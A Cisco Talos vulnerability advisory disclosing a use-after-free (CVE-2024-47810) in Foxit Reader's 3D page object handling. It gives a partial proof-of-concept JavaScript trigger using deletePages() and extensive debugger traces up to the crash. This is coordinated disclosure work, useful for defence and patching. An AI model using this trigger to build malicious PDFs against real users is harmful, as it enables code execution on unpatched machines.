Talos Vulnerability Report

TALOS-2024-2094

Foxit Reader 3D Page Object Use-After-Free Vulnerability

December 18, 2024
CVE Number

CVE-2024-47810

SUMMARY

A use-after-free vulnerability exists in the way Foxit Reader 2024.3.0.26795 handles a 3D page object. A specially crafted Javascript code inside a malicious PDF document can trigger this vulnerability, which can lead to memory corruption and result in arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially crafted, malicious site if the browser plugin extension is enabled.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Foxit Reader 2024.3.0.26795

PRODUCT URLS

Foxit Reader - https://www.foxitsoftware.com/pdf-reader/

CVSSv3 SCORE

8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

DETAILS

Foxit PDF Reader is one of the most popular PDF document readers. It aims for feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.

Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists a use-after-free vulnerability in the way Foxit Reader handles a page object contained within a 3D object.. This can be illustrated by the following proof-of-concept code:

function main() { 
    app.activeDocs[0].layout = "TwoColumnRight"; 
    app.activeDocs[0]["zoom"] = "AAA";  
    app.activeDocs[0].zoomType = zoomtype.fitW; 
    app.activeDocs[0].pageNum = 4;
    app.activeDocs[0].getField('Text Field0').setFocus(); 
}

[...]

function page_delete() {
    app.activeDocs[0].deletePages(4);
    app.activeDocs[0].deletePages();
    app.activeDocs[0].addField("AAA", "radiobutton", 0, [107374182,102,5] ) ;
}

In the above code, the page_delete method is invoked when the page number is set to 4 in the main() function. The delete_pages function calls deletePages(), which in turn ends up freeing all objects associated with the page. The use-after-free vulnerability occurs when a page object is freed but its reference within a 3D object is not cleared. Later, this freed object is used without any validation. This behavior can be observed in the debugger (with PageHeap enabled):

0:000> g
eax=0058f5d8 ebx=10098d8c ecx=00000002 edx=00000003 esi=190b8368 edi=ffffffff
eip=6b97e26e esp=0058f5c0 ebp=0058f630 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
U3DBrowser!PlugInMain+0x1bf0e:
6b97e26e 8945dc          mov     dword ptr [ebp-24h],eax ss:002b:0058f60c=10098e80
0:000> p
eax=0058f5d8 ebx=10098d8c ecx=00000002 edx=00000003 esi=190b8368 edi=ffffffff
eip=6b97e271 esp=0058f5c0 ebp=0058f630 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
U3DBrowser!PlugInMain+0x1bf11:
6b97e271 6a64            push    64h
0:000> p
eax=0058f5d8 ebx=10098d8c ecx=00000002 edx=00000003 esi=190b8368 edi=ffffffff
eip=6b97e273 esp=0058f5bc ebp=0058f630 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
U3DBrowser!PlugInMain+0x1bf13:
6b97e273 c745fc03000000  mov     dword ptr [ebp-4],3  ss:002b:0058f62c=ffffffff
0:000> p
eax=0058f5d8 ebx=10098d8c ecx=00000002 edx=00000003 esi=190b8368 edi=ffffffff
eip=6b97e27a esp=0058f5bc ebp=0058f630 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
U3DBrowser!PlugInMain+0x1bf1a:
6b97e27a ff157cac9e6b    call    dword ptr [U3DBrowser!PlugInMain+0x8891c (6b9eac7c)] ds:002b:6b9eac7c={mfc140u!operator new (6fb6ee10)} ; <-------- (1)
0:000> p
eax=13a54730 ebx=10098d8c ecx=00000064 edx=00000003 esi=190b8368 edi=ffffffff
eip=6b97e280 esp=0058f5bc ebp=0058f630 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
U3DBrowser!PlugInMain+0x1bf20:
6b97e280 8bf0            mov     esi,eax
0:000> dd eax
13a54730  e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
13a54740  e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
13a54750  e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
13a54760  e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
13a54770  e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
13a54780  e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
13a54790  e0e0e0e0 a0a0a0a0 a0a0a0a0 f0f0f0f0
13a547a0  00000000 00000000 e01887ab 0040fda6

When the 3D image of the document is loaded, a method is called call at (1) to create a CArtworkAnnot object of size 0x64. The value of the 3D object can be observed at (2).

0:000> p
eax=13a54730 ebx=10098d8c ecx=13a5473c edx=00000003 esi=13a54730 edi=ffffffff
eip=6b97e2b0 esp=0058f5b8 ebp=0058f630 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
U3DBrowser!PlugInMain+0x1bf50:
6b97e2b0 ff75e4          push    dword ptr [ebp-1Ch]  ss:002b:0058f614=1909bb18
0:000> p
eax=13a54730 ebx=10098d8c ecx=13a5473c edx=00000003 esi=13a54730 edi=ffffffff
eip=6b97e2b3 esp=0058f5b4 ebp=0058f630 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
U3DBrowser!PlugInMain+0x1bf53:
6b97e2b3 ff75dc          push    dword ptr [ebp-24h]  ss:002b:0058f60c=0058f5d8
0:000> p
eax=13a54730 ebx=10098d8c ecx=13a5473c edx=00000003 esi=13a54730 edi=ffffffff
eip=6b97e2b6 esp=0058f5b0 ebp=0058f630 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
U3DBrowser!PlugInMain+0x1bf56:
6b97e2b6 e885e3ffff      call    U3DBrowser!PlugInMain+0x1a2e0 (6b97c640)  ; <-------- (3)
0:000> dd eax                            ; <-------------------- (4)
13a54730  6b9ec084 00000001 00000001 e0e0e0e0
13a54740  e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
13a54750  e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
13a54760  e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
13a54770  e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
13a54780  e0e0e0e0 e0e0e0e0 e0e0e0e0 e0e0e0e0
13a54790  e0e0e0e0 a0a0a0a0 a0a0a0a0 f0f0f0f0
13a547a0  00000000 00000000 e01887ab 0040fda6
0:000> p
eax=13a5473c ebx=10098d8c ecx=fff7993f edx=0c55c950 esi=13a54730 edi=ffffffff
eip=6b97e2bb esp=0058f5c0 ebp=0058f630 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
U3DBrowser!PlugInMain+0x1bf5b:
6b97e2bb eb02            jmp     U3DBrowser!PlugInMain+0x1bf5f (6b97e2bf)
0:000> dd eax                             ; <-------------------- (5)
13a5473c  6b9ebfe4 00000000 00000000 00000001
13a5474c  1909bb18 1909d950 190b8368 00000000
13a5475c  e0e0e000 10098d8c 10098d80 00000000
13a5476c  00000000 00000002 00000002 00000000
13a5477c  00000001 00000000 00000120 000000d8

At (3), a method is called to initialize the 3D object. The value of the 3D buffer is examined at (4) and (5), showing the values before and after initialization. At offset 0x10 of the buffer, it contains a reference to a page object with the value 0x1909bb18. This page object is freed when the deletePages method is called.

0:000> g
eax=0058e768 ebx=0058e7d4 ecx=0306eef0 edx=00000002 esi=136f96f8 edi=1583b540
eip=03413e79 esp=0058e740 ebp=0058e780 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
FoxitPDFReader!FXJSE_GetClass+0x269:
03413e79 ffd1            call    ecx {FoxitPDFReader!safe_vsnprintf+0x11ffcd0 (0306eef0)}
0:000> g
ModLoad: 6aa60000 6adc5000   C:\Program Files (x86)\Foxit Software\Foxit PDF Reader\plugins\PDFAccessibility.fpi
eax=0058e768 ebx=0058e7d4 ecx=0306eef0 edx=00000002 esi=15a60188 edi=13da3cc0
eip=03413e79 esp=0058e740 ebp=0058e780 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
FoxitPDFReader!FXJSE_GetClass+0x269:
03413e79 ffd1            call    ecx {FoxitPDFReader!safe_vsnprintf+0x11ffcd0 (0306eef0)}  ; <--------------- (6)

[...]

0:000>
eax=00000001 ebx=15e40460 ecx=6f99f197 edx=00000001 esi=1909bb18 edi=15e40460
eip=00c0a5bb esp=0058e588 ebp=0058e5b0 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
FoxitPDFReader!AUILib::SkinManagerColor::operator!=+0xeb61b: 
00c0a5bb 56              push    esi                             ; <--------------- (7)
0:000> p
eax=00000001 ebx=15e40460 ecx=6f99f197 edx=00000001 esi=1909bb18 edi=15e40460
eip=00c0a5bc esp=0058e584 ebp=0058e5b0 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
FoxitPDFReader!AUILib::SkinManagerColor::operator!=+0xeb61c:
00c0a5bc e89fcb8201      call    FoxitPDFReader!safe_vsnprintf+0x5c7f40 (02437160)  ; <--------------- (8)
0:000> dd esi                                    ; <--------------- (9)
1909bb18  19092e30 00000000 0c566458 19092e60
1909bb28  19092e60 00000000 44190000 00000000
1909bb38  44460000 00000000 44190000 00000000
1909bb48  44460000 00000300 00000000 00000000
1909bb58  15e93228 00000000 00000000 00000000
1909bb68  00000000 00000000 00000000 00000000
1909bb78  00000080 00000000 00000000 00000100
1909bb88  00000000 00000000 00000001 ffffffff
0:000> p
eax=00000000 ebx=15e40460 ecx=6f99f16b edx=002d6000 esi=1909bb18 edi=15e40460
eip=00c0a5c1 esp=0058e584 ebp=0058e5b0 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000212
FoxitPDFReader!AUILib::SkinManagerColor::operator!=+0xeb621:
00c0a5c1 83c404          add     esp,4
0:000> dd esi                                     ; <--------------- (10)
1909bb18  00000000 00000000 0c566458 19092e60
1909bb28  19092e60 00000000 44190000 00000000
1909bb38  44460000 00000000 44190000 00000000
1909bb48  44460000 00000300 00000000 00000000
1909bb58  15e93228 00000000 00000000 00000000
1909bb68  00000000 00000000 00000000 00000000
1909bb78  00000080 00000000 00000000 00000100
1909bb88  00000000 00000000 00000001 ffffffff

0:000> KB L6
 # ChildEBP RetAddr      Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0058e5b0 00bead8d     6f99f1cf 15b03480 15b034b4 FoxitPDFReader!AUILib::SkinManagerColor::operator!=+0xeb621
01 0058e5d8 00bd028a     136edf48 6f99f21b 10cf3144 FoxitPDFReader!AUILib::SkinManagerColor::operator!=+0xcbded
02 0058e60c 00bd7cf6     6f99f267 1908f320 00000001 FoxitPDFReader!AUILib::SkinManagerColor::operator!=+0xb12ea
03 0058e670 00bd7fbd     15b03480 00000000 0058e68c FoxitPDFReader!AUILib::SkinManagerColor::operator!=+0xb8d56
04 0058e680 013ed0d1     0058e6a8 0058e6e4 030a69ac FoxitPDFReader!AUILib::SkinManagerColor::operator!=+0xb901d
05 0058e68c 030a69ac     0058e6a8 6f99f2f3 13da3cc0 FoxitPDFReader!CryptUIWizExport+0x30c51

At (6), the javascript::CFXJS_Document::deletePages_static method associated with the JavaScript API deletePages() is called. This subsequently calls the destructor method on the CReader_Page object. The destructor method invokes operator_delete at (8) on the vulnerable object. At (7), the argument for the operator_delete method is pushed onto the stack, coming from the esi register. The value of the vulnerable object is examined at (9) and (10), showing the values before and after the operator_delete method is called. Note that the Foxit application uses a custom allocator, so PageHeap is not able to mark the vulnerable buffer page.

0:000> g
eax=10cf3130 ebx=0058f474 ecx=100bdd90 edx=0c55cec0 esi=13780504 edi=75516140
eip=6b9730be esp=0058f3c4 ebp=0058f468 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
U3DBrowser!PlugInMain+0x10d5e:
6b9730be 8b55dc          mov     edx,dword ptr [ebp-24h] ss:002b:0058f444=13a5473c
0:000> p
eax=10cf3130 ebx=0058f474 ecx=100bdd90 edx=13a5473c esi=13780504 edi=75516140
eip=6b9730c1 esp=0058f3c4 ebp=0058f468 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
U3DBrowser!PlugInMain+0x10d61:
6b9730c1 8bc8            mov     ecx,eax
0:000> p
eax=10cf3130 ebx=0058f474 ecx=10cf3130 edx=13a5473c esi=13780504 edi=75516140
eip=6b9730c3 esp=0058f3c4 ebp=0058f468 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
U3DBrowser!PlugInMain+0x10d63:
6b9730c3 ff7214          push    dword ptr [edx+14h]  ds:002b:13a54750=1909d950
0:000> p
eax=10cf3130 ebx=0058f474 ecx=10cf3130 edx=13a5473c esi=13780504 edi=75516140
eip=6b9730c6 esp=0058f3c0 ebp=0058f468 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
U3DBrowser!PlugInMain+0x10d66:
6b9730c6 8b5210          mov     edx,dword ptr [edx+10h] ds:002b:13a5474c=1909bb18    ; <--------------- (11)
0:000> p
eax=10cf3130 ebx=0058f474 ecx=10cf3130 edx=1909bb18 esi=13780504 edi=75516140
eip=6b9730c9 esp=0058f3c0 ebp=0058f468 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
U3DBrowser!PlugInMain+0x10d69:
6b9730c9 e8d2d60100      call    U3DBrowser!PlugInMain+0x2e440 (6b9907a0)  ; <--------------- (12)
0:000> p
0:000> dd edx
1909bb18  2e300a71 30203537 2035372e 35372e30
1909bb28  0a677220 38363335 36333037 20313520
1909bb38  33350a6d 30373836 37203633 31362e38
1909bb48  33352034 30373836 31203036 35203130
1909bb58  37383633 20383830 20313031 33350a63
1909bb68  31373836 31203631 35203130 37383633
1909bb78  20303431 362e3837 35203431 37383633
1909bb88  20303431 63203135 3633350a 34313738

At (11), the CArtworkAnnot object still contains a reference to the freed page object. This reference was not cleared or updated in the 3D object after the delete operation. Note that the vulnerable buffer at 0x1909bb18 has been reassigned to another object. The vulnerable buffer is passed as a this pointer to a method at (12). The crash occurs when the this pointer is dereferenced without any validation.

0:000> p
(1c34.1c2c): Access violation - code c0000005 (!!! second chance !!!)
eax=2e300a71 ebx=1909bb18 ecx=100b6248 edx=0c558e30 esi=10cf3130 edi=75516140
eip=01ee5696 esp=0058f3a0 ebp=0058f3a0 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010212
FoxitPDFReader!safe_vsnprintf+0x76476: 
01ee5696 8b4008          mov     eax,dword ptr [eax+8] ds:002b:2e300a79=????????  <------------ (13)
0:000> dd eax
2e300a71  ???????? ???????? ???????? ????????
2e300a81  ???????? ???????? ???????? ????????
2e300a91  ???????? ???????? ???????? ????????
2e300aa1  ???????? ???????? ???????? ????????
2e300ab1  ???????? ???????? ???????? ????????
2e300ac1  ???????? ???????? ???????? ????????
2e300ad1  ???????? ???????? ???????? ????????
2e300ae1  ???????? ???????? ???????? ????????
0:000> dd 1909bb18
1909bb18  2e300a71 30203537 2035372e 35372e30
1909bb28  0a677220 38363335 36333037 20313520
1909bb38  33350a6d 30373836 37203633 31362e38
1909bb48  33352034 30373836 31203036 35203130
1909bb58  37383633 20383830 20313031 33350a63
1909bb68  31373836 31203631 35203130 37383633
1909bb78  20303431 362e3837 35203431 37383633
1909bb88  20303431 63203135 3633350a 34313738

0:000> u
FoxitPDFReader!safe_vsnprintf+0x76476:
01ee5696 8b4008          mov     eax,dword ptr [eax+8]
01ee5699 5d              pop     ebp
01ee569a c3              ret

0:000> kb
 # ChildEBP RetAddr      Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0058f3a0 6b990820     2e300a71 13780504 0058f474 FoxitPDFReader!safe_vsnprintf+0x76476
01 0058f3b8 6b9730ce     1909d950 fff798ff 75516140 U3DBrowser!PlugInMain+0x2e4c0
02 0058f468 6b9ce06c     0058f530 00000000 6b9ce06c U3DBrowser!PlugInMain+0x10d6e
03 0058f530 6b9cdcf5     fff799cf ffffffff 1009b3d8 U3DBrowser!PlugInMain+0x6bd0c
04 0058f558 6b9c49e8     13780504 137804f8 10098d8c U3DBrowser!PlugInMain+0x6b995
05 0058f570 6b97ec71     fff79927 ffffffff 13a54730 U3DBrowser!PlugInMain+0x62688
06 0058f5b0 6b97e3e7     13780504 137804f8 fff79aa7 U3DBrowser!PlugInMain+0x1c911
07 0058f630 6b9d3d1b     10ddcda8 1373d788 10cf3130 U3DBrowser!PlugInMain+0x1c087
08 0058f674 6b9bd6c5     10cf3130 10ddcda8 1373d788 U3DBrowser!PlugInMain+0x719bb
09 0058f6b0 6fb38b00     1185d3a8 1373d788 7f186e97 U3DBrowser!PlugInMain+0x5b365
0a 0058f780 6fbd1a7d     00000bc8 1185d3a8 1373d788 mfc140u!CWnd::OnWndMsg+0x795 [f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\wincore.cpp @ 2695] 
0b 0058f7a4 6fbd13a2     00000bc8 1185d3a8 1373d788 mfc140u!CWnd::WindowProc+0x2c [f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\wincore.cpp @ 2099] 
0c 0058f81c 6fb3861b     6ba0a020 000704b6 00000bc8 mfc140u!AfxCallWndProc+0xb8 [f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\wincore.cpp @ 268] 
0d 0058f83c 6fb385ba     000704b6 00000bc8 1185d3a8 mfc140u!AfxWndProc+0x46 [f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\wincore.cpp @ 416] 
0e (Inline) --------     -------- -------- -------- mfc140u!AFX_MAINTAIN_STATE2::{dtor} [f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\afxstate.cpp @ 99] 
0f 0058f878 7552171b     000704b6 00000bc8 1185d3a8 mfc140u!AfxWndProcBase+0x34 [f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\afxstate.cpp @ 299] 
10 0058f8a4 75517e8a     6fb38580 000704b6 00000bc8 USER32!_InternalCallWinProc+0x2b
11 0058f98c 75517646     6fb38580 00000000 00000bc8 USER32!UserCallWinProcCheckWow+0x33a
12 0058f9c4 75515e6b     00000bc8 1185d3a8 1373d788 USER32!CallWindowProcAorW+0x7f
13 0058f9dc 0441cff7     6fb38580 000704b6 00000bc8 USER32!CallWindowProcW+0x1b
14 0058fa60 7552171b     000704b6 00000bc8 1185d3a8 FoxitPDFReader!AUILib::SkinManagerColor::SetDefaultColor+0x5f0ea7
15 0058fa8c 75517e8a     0441ceda 000704b6 00000bc8 USER32!_InternalCallWinProc+0x2b
16 0058fb74 755167c1     0441ceda 00000000 00000bc8 USER32!UserCallWinProcCheckWow+0x33a
17 0058fbf0 755162e0     00000ac8 0058fc18 00d034e4 USER32!DispatchMessageWorker+0x4d1
18 0058fbfc 00d034e4     0c5e9b48 0c5e9b48 05f69798 USER32!DispatchMessageW+0x10
19 0058fc18 00d035a3     05f69798 00d03510 ffffffff FoxitPDFReader!AUILib::SkinManagerColor::operator!=+0x1e4544
1a 0058fc38 0484a70a     00000000 05f956ac 002d3000 FoxitPDFReader!AUILib::SkinManagerColor::operator!=+0x1e4603
1b 0058fc50 045ff41a     00910000 00000000 0c5853c4 FoxitPDFReader!AUILib::SkinManagerColor::SetDefaultColor+0xa1e5ba
1c 0058fc9c 74fbfcc9     002d3000 74fbfcb0 0058fd08 FoxitPDFReader!AUILib::SkinManagerColor::SetDefaultColor+0x7d32ca
1d 0058fcac 770a809e     002d3000 e4cdb485 00000000 KERNEL32!BaseThreadInitThunk+0x19
1e 0058fd08 770a806e     ffffffff 770c910a 00000000 ntdll!__RtlUserThreadStart+0x2f
1f 0058fd18 00000000     045ff4e9 002d3000 00000000 ntdll!_RtlUserThreadStart+0x1b

The crash occurs at (13) when the virtual table of the this pointer is dereferenced. Depending on the memory layout of the process, it may be possible to perform arbitrary read and write operations, which could potentially be exploited to achieve arbitrary code execution.

TIMELINE

2024-10-24 - Vendor Disclosure
2024-12-17 - Vendor Patch Release
2024-12-18 - Public Release

Credit

Discovered by KPC of Cisco Talos.